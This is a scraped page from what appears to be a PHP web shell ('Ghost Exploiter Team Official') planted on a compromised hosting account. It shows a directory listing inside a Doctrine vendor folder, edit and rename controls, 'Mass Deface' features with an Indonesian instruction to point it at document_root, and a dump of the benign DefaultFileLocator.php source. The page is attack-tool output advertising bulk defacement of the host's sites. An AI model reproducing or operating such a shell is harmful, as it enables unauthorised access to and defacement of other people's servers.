webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
vendor
/
doctrine
/
persistence
/
src
/
Persistence
/
Mapping
/
Driver
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
ColocatedMappingDriver.php
5.236KB
edt
ren
DefaultFileLocator.php
4.536KB
edt
ren
FileDriver.php
5.75KB
edt
ren
FileLocator.php
1.256KB
edt
ren
MappingDriver.php
1.102KB
edt
ren
MappingDriverChain.php
3.226KB
edt
ren
PHPDriver.php
1.001KB
edt
ren
StaticPHPDriver.php
3.173KB
edt
ren
SymfonyFileLocator.php
7.073KB
edt
ren
<?php declare(strict_types=1); namespace Doctrine\Persistence\Mapping\Driver; use Doctrine\Persistence\Mapping\MappingException; use RecursiveDirectoryIterator; use RecursiveIteratorIterator; use function array_merge; use function array_unique; use function assert; use function is_dir; use function is_file; use function is_string; use function str_replace; use const DIRECTORY_SEPARATOR; /** * Locates the file that contains the metadata information for a given class name. * * This behavior is independent of the actual content of the file. It just detects * the file which is responsible for the given class name. */ class DefaultFileLocator implements FileLocator { /** * The paths where to look for mapping files. * * @var array<int, string> */ protected $paths = []; /** * The file extension of mapping documents. * * @var string|null */ protected $fileExtension; /** * Initializes a new FileDriver that looks in the given path(s) for mapping * documents and operates in the specified operating mode. * * @param string|array<int, string> $paths One or multiple paths where mapping documents * can be found. * @param string|null $fileExtension The file extension of mapping documents, * usually prefixed with a dot. */ public function __construct($paths, ?string $fileExtension = null) { $this->addPaths((array) $paths); $this->fileExtension = $fileExtension; } /** * Appends lookup paths to metadata driver. * * @param array<int, string> $paths * * @return void */ public function addPaths(array $paths) { $this->paths = array_unique(array_merge($this->paths, $paths)); } /** * Retrieves the defined metadata lookup paths. * * @return array<int, string> */ public function getPaths() { return $this->paths; } /** * Gets the file extension used to look for mapping files under. * * @return string|null */ public function getFileExtension() { return $this->fileExtension; } /** * Sets the file extension used to look for mapping files under. * * @param string|null $fileExtension The file extension to set. * * @return void */ public function setFileExtension(?string $fileExtension) { $this->fileExtension = $fileExtension; } /** * {@inheritDoc} */ public function findMappingFile(string $className) { $fileName = str_replace('\\', '.', $className) . $this->fileExtension; // Check whether file exists foreach ($this->paths as $path) { if (is_file($path . DIRECTORY_SEPARATOR . $fileName)) { return $path . DIRECTORY_SEPARATOR . $fileName; } } throw MappingException::mappingFileNotFound($className, $fileName); } /** * {@inheritDoc} */ public function getAllClassNames(string $globalBasename) { if ($this->paths === []) { return []; } $classes = []; foreach ($this->paths as $path) { if (! is_dir($path)) { throw MappingException::fileMappingDriversRequireConfiguredDirectoryPath($path); } $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($path), RecursiveIteratorIterator::LEAVES_ONLY ); foreach ($iterator as $file) { $fileName = $file->getBasename($this->fileExtension); if ($fileName === $file->getBasename() || $fileName === $globalBasename) { continue; } // NOTE: All files found here means classes are not transient! assert(is_string($fileName)); /** @psalm-var class-string */ $class = str_replace('.', '\\', $fileName); $classes[] = $class; } } return $classes; } /** * {@inheritDoc} */ public function fileExists(string $className) { $fileName = str_replace('\\', '.', $className) . $this->fileExtension; // Check whether file exists foreach ($this->paths as $path) { if (is_file($path . DIRECTORY_SEPARATOR . $fileName)) { return true; } } return false; } }
<=Back
Liking